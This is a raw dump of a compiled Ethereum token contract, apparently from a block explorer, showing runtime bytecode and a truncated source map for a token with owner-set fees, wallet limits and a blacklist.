60e51b8152602060048201526008602482015267151608131a5b5a5d60c21b6044820152606401610c92565b6001600160a01b03831660009081526018602052604090205460ff1680156119a25750601a546301000000900460ff16155b80156119b85750601a54640100000000900460ff165b80156119d55750601d543060009081526007602052604090205410155b156119e2576119e2611e96565b601954158015611a0a57506001600160a01b03831660009081526018602052604090205460ff165b15611a57576001600160a01b038416600090815260076020526040902054611a4e5760405162461bcd60e51b81526020600482015260006024820152604401610c92565b611a5743601955565b601a54610100900460ff1615611abe576001600160a01b0384166000908152601b602052604090205460ff1615611abe5760405162461bcd60e51b815260206004820152600b60248201526a109b1858dadb1a5cdd195960aa1b6044820152606401610c92565b6017546001600160a01b038481169116148015611af457506001600160a01b03841660009081526001602052604090205460ff16155b15611b44576015543a1115611b445760405162461bcd60e51b81526020600482015260166024820152751f29b2b6361037b7103bb0b63632ba1030b1ba34b7b760511b6044820152606401610c92565b6015543a10158015611b6457506017546001600160a01b03848116911614155b15611b8d576001600160a01b0383166000908152601b60205260409020805460ff191660011790555b604080516020808201835260008083526001600160a01b038816815260079091529190912054611bbe918490611819565b6001600160a01b038086166000908152600760209081526040808320949094559186168152600a909152205460ff16158015611bfc575060065460ff165b15611c4f576005546001600160a01b038416600090815260076020526040902054611c279084611d63565b1115611c4f5760405162461bcd60e51b81526020600482015260006024820152604401610c92565b6001600160a01b03841660009081526009602052604081205460ff16158015611c9157506001600160a01b03841660009081526009602052604090205460ff16155b611c9b5782611ca6565b611ca6858585612276565b6001600160a01b038516600090815260076020526040902054909150611ccc9082611d63565b6001600160a01b038086166000818152600760205260409081902093909355915190871690600080516020612a6583398151915290611d0e9085815260200190565b60405180910390a3506001949350505050565b6000610db283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611819565b600080611d708385612982565b905083811015610db25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610c92565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600790915291822054611e13918490611819565b6001600160a01b038086166000908152600760205260408082209390935590851681522054611e429083611d63565b6001600160a01b038085166000818152600760205260409081902093909355915190861690600080516020612a6583398151915290611e849086815260200190565b60405180910390a35060019392505050565b601a805463ff0000001916630100000017905530600090815260076020526040812054600e54600f54919291611eeb91600291611ee591611ed79190611d21565b600b54611ee59087906124a9565b9061252b565b90506000611ef98383611d21565b60408051600280825260608201835292935060009290916020830190803683370190505090503081600081518110611f3357611f336128a1565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611f8c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fb091906129a8565b81600181518110611fc357611fc36128a1565b6001600160a01b03928316602091820292909201015260165460405163791ac94760e01b815291169063791ac947906120099085906000908690309042906004016129c5565b600060405180830381600087803b15801561202357600080fd5b505af1158015612037573d6000803e3d6000fd5b5050600b54479250600091506120619061205290600261252b565b600e54600f54610f6691611d21565b905060006120836002611ee584611ee5600b54886124a990919063ffffffff16565b905060006120a083611ee5600c54876124a990919063ffffffff16565b905060006120bd84611ee5600d54886124a990919063ffffffff16565b6012546040519192506000916001600160a01b039091169061753090859084818181858888f193505050503d8060008114612114576040519150601f19603f3d011682016040523d82523d6000602084013e612119565b606091505b5050601354604051600093506001600160a01b03909116915061753090849084818181858888f193505050503d8060008114612171576040519150601f19603f3d011682016040523d82523d6000602084013e612176565b606091505b5060009250508915905061225d5760165460115460405163f305d71960e01b8152306004820152602481018c905260006044820181905260648201526001600160a01b036301000000909204821660848201524260a482015291169063f305d71990869060c40160606040518083038185885af11580156121fb573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906122209190612a36565b505060408051868152602081018c90527f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450692500160405180910390a15b5050601a805463ff000000191690555050505050505050565b6001600160a01b0382166000908152601860205260408120548190819060ff1680156122a95750601154610100900460ff165b156122c057600e546010546122bd91611d21565b91505b6001600160a01b03861660009081526018602052604090205460ff1680156122ea575060115460ff165b1561230157600e54600f546122fe91611d21565b91505b6001600160a01b03861660009081526018602052604090205460ff1615801561234357506001600160a01b03851660009081526018602052604090205460ff16155b156123745760115462010000900460ff161561236f57600e5460105461236891611d21565b9150612374565b600091505b60008211801561238657506000600e54115b1561241b576123a56064611ee5600e54876124a990919063ffffffff16565b6014546001600160a01b03166000908152600760205260409020549091506123cd9082611d63565b601480546001600160a01b0390811660009081526007602090815260409182902094909455915491518481529181169290891691600080516020612a65833981519152910160405180910390a35b600061242c6064611ee587866124a9565b306000908152600760205260409020549091506124499082611d63565b30600081815260076020526040908190209290925590516001600160a01b03891690600080516020612a65833981519152906124889085815260200190565b60405180910390a361249e82610f668784611d21565b979650505050505050565b6000826000036124bb57506000610c62565b60006124c7838561292c565b9050826124d48583612943565b14610db25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610c92565b6000610db283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836125895760405162461bcd60e51b8152600401610c929190612596565b50600061184a8486612943565b600060208083528351808285015260005b818110156125c3578581018301518582016040015282016125a7565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146125f957600080fd5b50565b6000806040838503121561260f57600080fd5b823561261a816125e4565b946020939093013593505050565b80151581146125f957600080fd5b6000806040838503121561264957600080fd5b823561261a81612628565b60008060006060848603121561266957600080fd5b8335612674816125e4565b92506020840135612684816125e4565b929592945050506040919091013590565b6000806000604084860312156126aa57600080fd5b833567ffffffffffffffff808211156126c257600080fd5b818601915086601f8301126126d657600080fd5b8135818111156126e557600080fd5b8760208260051b85010111156126fa57600080fd5b6020928301955093505084013561271081612628565b809150509250925092565b60006020828403121561272d57600080fd5b8135610db281612628565b6000806040838503121561274b57600080fd5b8235612756816125e4565b9150602083013561276681612628565b809150509250929050565b60006020828403121561278357600080fd5b8135610db2816125e4565b6000602082840312156127a057600080fd5b5035919050565b600080600080608085870312156127bd57600080fd5b84356127c8816125e4565b935060208501356127d8816125e4565b925060408501356127e8816125e4565b915060608501356127f8816125e4565b939692955090935050565b600080600080600060a0868803121561281b57600080fd5b505083359560208501359550604085013594606081013594506080013592509050565b6000806040838503121561285157600080fd5b823561285c816125e4565b91506020830135612766816125e4565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600182016128df576128df6128b7565b5060010190565b60208082526026908201527f57616c6c6574204c696d6974206e6565647320746f206265206174206c6561736040820152657420302e352560d01b606082015260800190565b8082028115828204841417610c6257610c626128b7565b60008261296057634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561297757600080fd5b8151610db281612628565b80820180821115610c6257610c626128b7565b81810381811115610c6257610c626128b7565b6000602082840312156129ba57600080fd5b8151610db2816125e4565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015612a155784516001600160a01b0316835293830193918301916001016129f0565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215612a4b57600080fd5b835192506020840151915060408401519050925092509256feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220e50a47ee641df222d3b78e8fdb3eac9f95513da6e795eb335370cc04105774b364736f6c63430008130033

Deployed Bytecode Sourcemap

5037:14174:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6985:54;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;6985:54:0;;;;;;;;8460:78;;;;;;;;;;-1:-1:-1;8531:5:0;;;;;;;;;;;;-1:-1:-1;;;8531:5:0;;;;8460:78;;;;;;;:::i;9302:216::-;;;;;;;;;;-1:-1:-1;9302:216:0;;;;;:::i;:::-;;:::i;:::-;;;1370:14:1;;1363:22;1345:41;;1333:2;1318:18;9302:216:0;1205:187:1;18267:165:0;;;;;;;;;;-1:-1:-1;18267:165:0;;;;;:::i;:::-;;:::i;:::-;;8722:86;;;;;;;;;;-1:-1:-1;8794:12:0;;8722:86;;17765:78;;;;;;;;;;;;;:::i;6118:27::-;;;;;;;;;;;;;;;;10509:370;;;;;;;;;;-1:-1:-1;10509:370:0;;;;;:::i;:::-;;:::i;17273:242::-;;;;;;;;;;-1:-1:-1;17273:242:0;;;;;:::i;:::-;;:::i;17127:130::-;;;;;;;;;;-1:-1:-1;17127:130:0;;;;;:::i;:::-;;:::i;9152:142::-;;;;;;;;;;;;;:::i;8636:78::-;;;;;;;;;;-1:-1:-1;8636:78:0;;5394:2;3438:36:1;;3426:2;3411:18;8636:78:0;3296:184:1;17646:111:0;;;;;;;;;;-1:-1:-1;17646:111:0;;;;;:::i;:::-;;:::i;5867:43::-;;;;;;;;;;-1:-1:-1;5867:43:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6453:34;;;;;;;;;;;;;;;;5697:33;;;;;;;;;;-1:-1:-1;5697:33:0;;;;;;;;6082:27;;;;;;;;;;;;;;;;6780:40;;;;;;;;;;-1:-1:-1;6780:40:0;;;;;;;;;;;9526:122;;;;;;;;;;-1:-1:-1;9526:122:0;;;;;:::i;:::-;;:::i;15687:196::-;;;;;;;;;;-1:-1:-1;15687:196:0;;;;;:::i;:::-;;:::i;6932:44::-;;;;;;;;;;-1:-1:-1;6932:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;16112:119;;;;;;;;;;-1:-1:-1;16112:119:0;;;;;:::i;:::-;;:::i;6050:25::-;;;;;;;;;;;;;;;;6012:31;;;;;;;;;;;;;;;;6234;;;;;;;;;;-1:-1:-1;6234:31:0;;;;;;;;;;;18156:103;;;;;;;;;;-1:-1:-1;18156:103:0;;;;;:::i;:::-;;:::i;8902:::-;;;;;;;;;;-1:-1:-1;8902:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;8985:18:0;8968:7;8985:18;;;:9;:18;;;;;;;8902:103;4630:148;;;;;;;;;;;;;:::i;19005:201::-;;;;;;;;;;-1:-1:-1;19005:201:0;;;;;:::i;:::-;;:::i;17523:115::-;;;;;;;;;;-1:-1:-1;17523:115:0;;;;;:::i;:::-;;:::i;5474:54::-;;;;;;;;;;;;;;;;17851:93;;;;;;;;;;;;;:::i;5535:52::-;;;;;;;;;;;;;;;;18742:255;;;;;;;;;;-1:-1:-1;18742:255:0;;;;;:::i;:::-;;:::i;8816:78::-;;;;;;;;;;-1:-1:-1;8868:7:0;4479:6;-1:-1:-1;;;;;4479:6:0;8816:78;;;-1:-1:-1;;;;;4473:32:1;;;4455:51;;4443:2;4428:18;8816:78:0;4309:203:1;5917:47:0;;;;;;;;;;-1:-1:-1;5917:47:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;4414:79;;;;;;;;;;-1:-1:-1;4452:7:0;4479:6;-1:-1:-1;;;;;4479:6:0;4414:79;;18053:95;;;;;;;;;;-1:-1:-1;18053:95:0;;;;;:::i;:::-;;:::i;18440:294::-;;;;;;;;;;-1:-1:-1;18440:294:0;;;;;:::i;:::-;;:::i;15349:124::-;;;;;;;;;;-1:-1:-1;15349:124:0;;;;;:::i;:::-;;:::i;8546:82::-;;;;;;;;;;-1:-1:-1;8619:7:0;;;;;;;;;;;;-1:-1:-1;;;8619:7:0;;;;8546:82;;5974:31;;;;;;;;;;;;;;;;16638:481;;;;;;;;;;-1:-1:-1;16638:481:0;;;;;:::i;:::-;;:::i;6272:35::-;;;;;;;;;;-1:-1:-1;6272:35:0;;;;;;;;;;;6526:19;;;;;;;;;;-1:-1:-1;6526:19:0;;;;-1:-1:-1;;;;;6526:19:0;;;10007:156;;;;;;;;;;-1:-1:-1;10007:156:0;;;;;:::i;:::-;;:::i;6671:30::-;;;;;;;;;;-1:-1:-1;6671:30:0;;;;;;;;;;;6708:29;;;;;;;;;;-1:-1:-1;6708:29:0;;;;;;;;;;;17952:93;;;;;;;;;;-1:-1:-1;17952:93:0;;;;;:::i;:::-;;:::i;15891:128::-;;;;;;;;;;-1:-1:-1;15891:128:0;;;;;:::i;:::-;;:::i;6599:25::-;;;;;;;;;;;;;;;;6881:44;;;;;;;;;;-1:-1:-1;6881:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;16027:77;;;;;;;;;;;;;:::i;6152:36::-;;;;;;;;;;;;;;;;6827:45;;;;;;;;;;-1:-1:-1;6827:45:0;;;;;;;;;;;9013:131;;;;;;;;;;-1:-1:-1;9013:131:0;;;;;:::i;:::-;-1:-1:-1;;;;;9114:19:0;;;9097:7;9114:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;9013:131;6552:38;;;;;;;;;;-1:-1:-1;6552:38:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6197:30;;;;;;;;;;-1:-1:-1;6197:30:0;;;;;;;;15481:198;;;;;;;;;;-1:-1:-1;15481:198:0;;;;;:::i;:::-;;:::i;4786:244::-;;;;;;;;;;-1:-1:-1;4786:244:0;;;;;:::i;:::-;;:::i;16374:256::-;;;;;;;;;;-1:-1:-1;16374:256:0;;;;;:::i;:::-;;:::i;16239:127::-;;;;;;;;;;-1:-1:-1;16239:127:0;;;;;:::i;:::-;;:::i;6496:23::-;;;;;;;;;;-1:-1:-1;6496:23:0;;;;-1:-1:-1;;;;;6496:23:0;;;6633:31;;;;;;;;;;-1:-1:-1;6633:31:0;;;;;;;;9302:216;9406:10;9377:4;9394:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;9394:32:0;;;;;;;;;;:41;;;9451:37;9377:4;;9394:32;;9451:37;;;;9429:6;160:25:1;;148:2;133:18;;14:177;9451:37:0;;;;;;;;-1:-1:-1;9506:4:0;9302:216;;;;;:::o;18267:165::-;4541:6;;-1:-1:-1;;;;;4541:6:0;3850:10;4541:22;4533:67;;;;-1:-1:-1;;;4533:67:0;;;;;;;:::i;:::-;;;;;;;;;18358:21:::1;:30:::0;;;::::1;;::::0;::::1;-1:-1:-1::0;;18358:30:0;;::::1;::::0;;;::::1;::::0;;;18399:13:::1;:25:::0;18267:165::o;17765:78::-;4541:6;;-1:-1:-1;;;;;4541:6:0;3850:10;4541:22;4533:67;;;;-1:-1:-1;;;4533:67:0;;;;;;;:::i;:::-;17817:10:::1;:18:::0;;-1:-1:-1;;17817:18:0::1;::::0;;17765:78::o;10509:370::-;-1:-1:-1;;;;;10630:19:0;;10609:4;10630:19;;;:11;:19;;;;;;;;10650:10;10630:31;;;;;;;;-1:-1:-1;;10630:52:0;10626:188;;10733:69;;;;;;;;;;;-1:-1:-1;;;10733:69:0;;;;;;;;-1:-1:-1;;;;;10733:19:0;;-1:-1:-1;10733:19:0;;;:11;:19;;;;;10753:10;10733:31;;;;;;;;;;:69;;10769:6;;10733:35;:69::i;:::-;-1:-1:-1;;;;;10699:19:0;;;;;;:11;:19;;;;;;;;10719:10;10699:31;;;;;;;:103;10626:188;10831:40;10845:6;10853:9;10864:6;10831:13;:40::i;:::-;10824:47;;10509:370;;;;;;:::o;17273:242::-;4541:6;;-1:-1:-1;;;;;4541:6:0;3850:10;4541:22;4533:67;;;;-1:-1:-1;;;4533:67:0;;;;;;;:::i;:::-;17377:10:::1;::::0;;;::::1;;;17369:23;;;::::0;-1:-1:-1;;;17369:23:0;;6833:2:1;17369:23:0::1;::::0;::::1;6815:21:1::0;-1:-1:-1;6852:18:1;;;6845:29;6891:18;;17369:23:0::1;6631:284:1::0;17369:23:0::1;17408:9;17403:105;17419:20:::0;;::::1;17403:105;;;17490:6;17461:12;:26;17474:9;;17484:1;17474:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;17461:26:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;17461:26:0;:35;;-1:-1:-1;;17461:35:0::1;::::0;::::1;;::::0;;;::::1;::::0;;17441:3:::1;::::0;::::1;:::i;:::-;;;17403:105;;;;17273:242:::0;;;:::o;17127:130::-;4541:6;;-1:-1:-1;;;;;4541:6:0;3850:10;4541:22;4533:67;;;;-1:-1:-1;;;4533:67:0;;;;;;;:::i;:::-;17202:10:::1;::::0;;;::::1;;;17194:23;;;::::0;-1:-1:-1;;;17194:23:0;;6833:2:1;17194:23:0::1;::::0;::::1;6815:21:1::0;-1:-1:-1;6852:18:1;;;6845:29;6891:18;;17194:23:0::1;6631:284:1::0;17194:23:0::1;17228:11;:21:::0;;;::::1;;;;-1:-1:-1::0;;17228:21:0;;::::1;::::0;;;::::1;::::0;;17127:130::o;9152:142::-;8985:9;:18;;;;5144:42;9205:7;8985:18;;;;;9232:12;;9205:7;;9232:54;;8985:18;;9232:33;;:12;:16;:33::i;:::-;:37;;:54::i;:::-;9225:61;;9152:142;:::o;17646:111::-;4541:6;;-1:-1:-1;;;;;4541:6:0;3850:10;4541:22;4533:67;;;;-1:-1:-1;;;4533:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;17724:16:0;;;::::1;;::::0;;;:6:::1;:16;::::0;;;;:25;;-1:-1:-1;;17724:25:0::1;::::0;::::1;;::::0;;;::::1;::::0;;17646:111::o;9526:122::-;9581:4;9605:35;9613:7;-1:-1:-1;;9605:7:0;:35::i;15687:196::-;4541:6;;-1:-1:-1;;;;;4541:6:0;3850:10;4541:22;4533:67;;;;-1:-1:-1;;;4533:67:0;;;;;;;:::i;:::-;15775:1:::1;15763:8;:13;;15755:64;;;;-1:-1:-1::0;;;15755:64:0::1;;;;;;;:::i;:::-;15871:4;15860:8;15845:12;;:23;;;;:::i;:::-;:30;;;;:::i;:::-;15830:12;:45:::0;-1:-1:-1;15687:196:0:o;16112:119::-;4541:6;;-1:-1:-1;;;;;4541:6:0;3850:10;4541:22;4533:67;;;;-1:-1:-1;;;4533:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;16195:19:0;;;::::1;;::::0;;;:11:::1;:19;::::0;;;;:28;;-1:-1:-1;;16195:28:0::1;::::0;::::1;;::::0;;;::::1;::::0;;16112:119::o;18156:103::-;4541:6;;-1:-1:-1;;;;;4541:6:0;3850:10;4541:22;4533:67;;;;-1:-1:-1;;;4533:67:0;;;;;;;:::i;:::-;18227:15:::1;:24:::0;;;::::1;;::::0;::::1;-1:-1:-1::0;;18227:24:0;;::::1;::::0;;;::::1;::::0;;18156:103::o;4630:148::-;4541:6;;-1:-1:-1;;;;;4541:6:0;3850:10;4541:22;4533:67;;;;-1:-1:-1;;;4533:67:0;;;;;;;:::i;:::-;4737:1:::1;4721:6:::0;;4700:40:::1;::::0;-1:-1:-1;;;;;4721:6:0;;::::1;::::0;4700:40:::1;::::0;4737:1;;4700:40:::1;4768:1;4751:19:::0;;-1:-1:-1;;;;;;4751:19:0::1;::::0;;4630:148::o;19005:201::-;4541:6;;-1:-1:-1;;;;;4541:6:0;3850:10;4541:22;4533:67;;;;-1:-1:-1;;;4533:67:0;;;;;;;:::i;:::-;19102:21:::1;19142:10;19134:64;19194:3;19163:28;19175:16:::0;19102:21;19163:28:::1;:::i;:::-;:34;;;;:::i;:::-;19134:64;::::0;;::::1;::::0;;::::1;::::0;::::1;::::0;;;;;;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;19071:135;19005:201:::0;:::o;17523:115::-;4541:6;;-1:-1:-1;;;;;4541:6:0;3850:10;4541:22;4533:67;;;;-1:-1:-1;;;4533:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;17597:24:0;;;::::1;;::::0;;;:14:::1;:24;::::0;;;;:33;;-1:-1:-1;;17597:33:0::1;::::0;::::1;;::::0;;;::::1;::::0;;17523:115::o;17851:93::-;4541:6;;-1:-1:-1;;;;;4541:6:0;3850:10;4541:22;4533:67;;;;-1:-1:-1;;;4533:67:0;;;;;;;:::i;:::-;17917:11:::1;:19:::0;;-1:-1:-1;;17917:19:0::1;::::0;;17851:93::o;18742:255::-;18827:12;4541:6;;-1:-1:-1;;;;;4541:6:0;3850:10;4541:22;4533:67;;;;-1:-1:-1;;;4533:67:0;;;;;;;:::i;:::-;18884:4:::1;-1:-1:-1::0;;;;;18860:29:0;::::1;::::0;18852:70:::1;;;::::0;-1:-1:-1;;;18852:70:0;;8328:2:1;18852:70:0::1;::::0;::::1;8310:21:1::0;8367:2;8347:18;;;8340:30;8406;8386:18;;;8379:58;8454:18;;18852:70:0::1;8126:352:1::0;18852:70:0::1;18940:49;::::0;-1:-1:-1;;;18940:49:0;;18970:10:::1;18940:49;::::0;::::1;8657:51:1::0;8724:18;;;8717:34;;;-1:-1:-1;;;;;18940:29:0;::::1;::::0;::::1;::::0;8630:18:1;;18940:49:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;18053:95::-:0;4541:6;;-1:-1:-1;;;;;4541:6:0;3850:10;4541:22;4533:67;;;;-1:-1:-1;;;4533:67:0;;;;;;;:::i;:::-;18120:11:::1;:20:::0;;;::::1;;;;-1:-1:-1::0;;18120:20:0;;::::1;::::0;;;::::1;::::0;;18053:95::o;18440:294::-;4541:6;;-1:-1:-1;;;;;4541:6:0;3850:10;4541:22;4533:67;;;;-1:-1:-1;;;4533:67:0;;;;;;;:::i;:::-;18584:8:::1;:22:::0;;-1:-1:-1;;;;;;18584:22:0::1;::::0;-1:-1:-1;;;;;18584:22:0;;::::1;;;::::0;;18617:14:::1;:33:::0;;-1:-1:-1;;;;;;18617:33:0;;::::1;::::0;;::::1;::::0;;;::::1;::::0;;18661:9:::1;:24:::0;;;::::1;::::0;;::::1;::::0;;;::::1;::::0;;;18696:12:::1;:30:::0;;;;::::1;::::0;::::1;;::::0;;18440:294::o;15349:124::-;4541:6;;-1:-1:-1;;;;;4541:6:0;3850:10;4541:22;4533:67;;;;-1:-1:-1;;;4533:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;15436:21:0;;;::::1;;::::0;;;:11:::1;:21;::::0;;;;:29;;-1:-1:-1;;15436:29:0::1;::::0;::::1;;::::0;;;::::1;::::0;;15349:124::o;16638:481::-;4541:6;;-1:-1:-1;;;;;4541:6:0;3850:10;4541:22;4533:67;;;;-1:-1:-1;;;4533:67:0;;;;;;;:::i;:::-;16795:12:::1;:24:::0;;;16830:12:::1;:30:::0;;;16871:6:::1;:18:::0;;;16900:8:::1;:23:::0;;;16947:56:::1;16911:12:::0;16947:42:::1;16880:9:::0;16947:42;16810:9;16845:15;16947:16:::1;:30::i;:::-;:34:::0;::::1;:42::i;:56::-;16936:8;:67:::0;;;17034:23:::1;::::0;17045:12;;17034:23:::1;:::i;:::-;17014:17;:43:::0;;;17097:8:::1;::::0;17108:2:::1;::::0;17077:28:::1;::::0;17097:8;17077:28:::1;:::i;:::-;:33;17068:43;;;::::0;::::1;;16638:481:::0;;;;;:::o;10007:156::-;10087:4;10111:44;10125:10;10137:9;10148:6;10111:13;:44::i;17952:93::-;4541:6;;-1:-1:-1;;;;;4541:6:0;3850:10;4541:22;4533:67;;;;-1:-1:-1;;;4533:67:0;;;;;;;:::i;:::-;18018:10:::1;:19:::0;;-1:-1:-1;;18018:19:0::1;::::0;::::1;;::::0;;;::::1;::::0;;17952:93::o;15891:128::-;4541:6;;-1:-1:-1;;;;;4541:6:0;3850:10;4541:22;4533:67;;;;-1:-1:-1;;;4533:67:0;;;;;;;:::i;:::-;15964:10:::1;::::0;;;::::1;;;15956:23;;;::::0;-1:-1:-1;;;15956:23:0;;6833:2:1;15956:23:0::1;::::0;::::1;6815:21:1::0;-1:-1:-1;6852:18:1;;;6845:29;6891:18;;15956:23:0::1;6631:284:1::0;15956:23:0::1;15998:13;:4:::0;16005:6:::1;15998:13;:::i;:::-;15990:5;:21:::0;-1:-1:-1;15891:128:0:o;16027:77::-;4541:6;;-1:-1:-1;;;;;4541:6:0;3850:10;4541:22;4533:67;;;;-1:-1:-1;;;4533:67:0;;;;;;;:::i;:::-;16078:11:::1;:18:::0;;-1:-1:-1;;16078:18:0::1;16092:4;16078:18;::::0;;16027:77::o;15481:198::-;4541:6;;-1:-1:-1;;;;;4541:6:0;3850:10;4541:22;4533:67;;;;-1:-1:-1;;;4533:67:0;;;;;;;:::i;:::-;15573:1:::1;15561:8;:13;;15553:64;;;;-1:-1:-1::0;;;15553:64:0::1;;;;;;;:::i;:::-;15667:4;15656:8;15641:12;;:23;;;;:::i;:::-;:30;;;;:::i;:::-;15628:10;:43:::0;-1:-1:-1;15481:198:0:o;4786:244::-;4541:6;;-1:-1:-1;;;;;4541:6:0;3850:10;4541:22;4533:67;;;;-1:-1:-1;;;4533:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;4875:22:0;::::1;4867:73;;;::::0;-1:-1:-1;;;4867:73:0;;9344:2:1;4867:73:0::1;::::0;::::1;9326:21:1::0;9383:2;9363:18;;;9356:30;9422:34;9402:18;;;9395:62;-1:-1:-1;;;9473:18:1;;;9466:36;9519:19;;4867:73:0::1;9142:402:1::0;4867:73:0::1;4977:6;::::0;;4956:38:::1;::::0;-1:-1:-1;;;;;4956:38:0;;::::1;::::0;4977:6;::::1;::::0;4956:38:::1;::::0;::::1;5005:6;:17:::0;;-1:-1:-1;;;;;;5005:17:0::1;-1:-1:-1::0;;;;;5005:17:0;;;::::1;::::0;;;::::1;::::0;;4786:244::o;16374:256::-;4541:6;;-1:-1:-1;;;;;4541:6:0;3850:10;4541:22;4533:67;;;;-1:-1:-1;;;4533:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;16439:22:0::1;;::::0;;;16464:4:::1;16439:22;::::0;;;;;;;:29;;-1:-1:-1;;16439:29:0;;::::1;::::0;::::1;::::0;;;16479:11:::1;:19:::0;;;;;:26;;;::::1;::::0;::::1;::::0;;16516:15:::1;:23:::0;;;;;:30;;;::::1;::::0;::::1;::::0;;16557:11:::1;:19:::0;;;;;:26;;;::::1;::::0;;::::1;::::0;;;16594:12:::1;:20:::0;;;;;;:28;;;;::::1;::::0;;16374:256::o;16239:127::-;4541:6;;-1:-1:-1;;;;;4541:6:0;3850:10;4541:22;4533:67;;;;-1:-1:-1;;;4533:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;16326:23:0;;;::::1;;::::0;;;:15:::1;:23;::::0;;;;:32;;-1:-1:-1;;16326:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;16239:127::o;548:190::-;634:7;670:12;662:6;;;;654:29;;;;-1:-1:-1;;;654:29:0;;;;;;;;:::i;:::-;-1:-1:-1;694:9:0;706:5;710:1;706;:5;:::i;:::-;694:17;548:190;-1:-1:-1;;;;;548:190:0:o;10887:1608::-;11000:16;;10979:4;;11000:16;;;;;10996:73;;;11026:41;11041:6;11049:9;11060:6;11026:14;:41::i;:::-;11019:48;;;;10996:73;-1:-1:-1;;;;;11083:22:0;;;;;;:14;:22;;;;;;;;11082:23;:53;;;;-1:-1:-1;;;;;;11110:25:0;;;;;;:14;:25;;;;;;;;11109:26;11082:53;11079:108;;;11159:11;;;;11151:24;;;;-1:-1:-1;;;11151:24:0;;6833:2:1;11151:24:0;;;6815:21:1;-1:-1:-1;6852:18:1;;;6845:29;6891:18;;11151:24:0;6631:284:1;11151:24:0;11217:12;;11207:6;:22;;:79;;;-1:-1:-1;;;;;;11233:23:0;;;;;;:15;:23;;;;;;;;:53;;;;-1:-1:-1;;;;;;11260:26:0;;;;;;:15;:26;;;;;;;;11233:53;11199:100;;;;-1:-1:-1;;;11199:100:0;;9884:2:1;11199:100:0;;;9866:21:1;9923:1;9903:18;;;9896:29;-1:-1:-1;;;9941:18:1;;;9934:38;9989:18;;11199:100:0;9682:331:1;11199:100:0;-1:-1:-1;;;;;11314:17:0;;;;;;:6;:17;;;;;;;;:38;;;;-1:-1:-1;11336:16:0;;;;;;;11335:17;11314:38;:63;;;;-1:-1:-1;11356:21:0;;;;;;;11314:63;:108;;;;-1:-1:-1;11409:13:0;;11399:4;11381:24;;;;:9;:24;;;;;;:41;;11314:108;11310:140;;;11425:23;:21;:23::i;:::-;9723:10;;:15;;;11464:32;;-1:-1:-1;;;;;;11479:17:0;;;;;;:6;:17;;;;;;;;11464:32;11460:122;;;-1:-1:-1;;;;;11521:17:0;;11541:1;11521:17;;;:9;:17;;;;;;11513:34;;;;-1:-1:-1;;;11513:34:0;;6833:2:1;11513:34:0;;;6815:21:1;-1:-1:-1;6852:18:1;;;6845:29;6891:18;;11513:34:0;6631:284:1;11513:34:0;11562:8;9805:12;9792:10;:25;9754:71;11562:8;11620:11;;;;;;;11616:88;;;-1:-1:-1;;;;;11657:20:0;;;;;;:12;:20;;;;;;;;11656:21;11648:44;;;;-1:-1:-1;;;11648:44:0;;10220:2:1;11648:44:0;;;10202:21:1;10259:2;10239:18;;;10232:30;-1:-1:-1;;;10278:18:1;;;1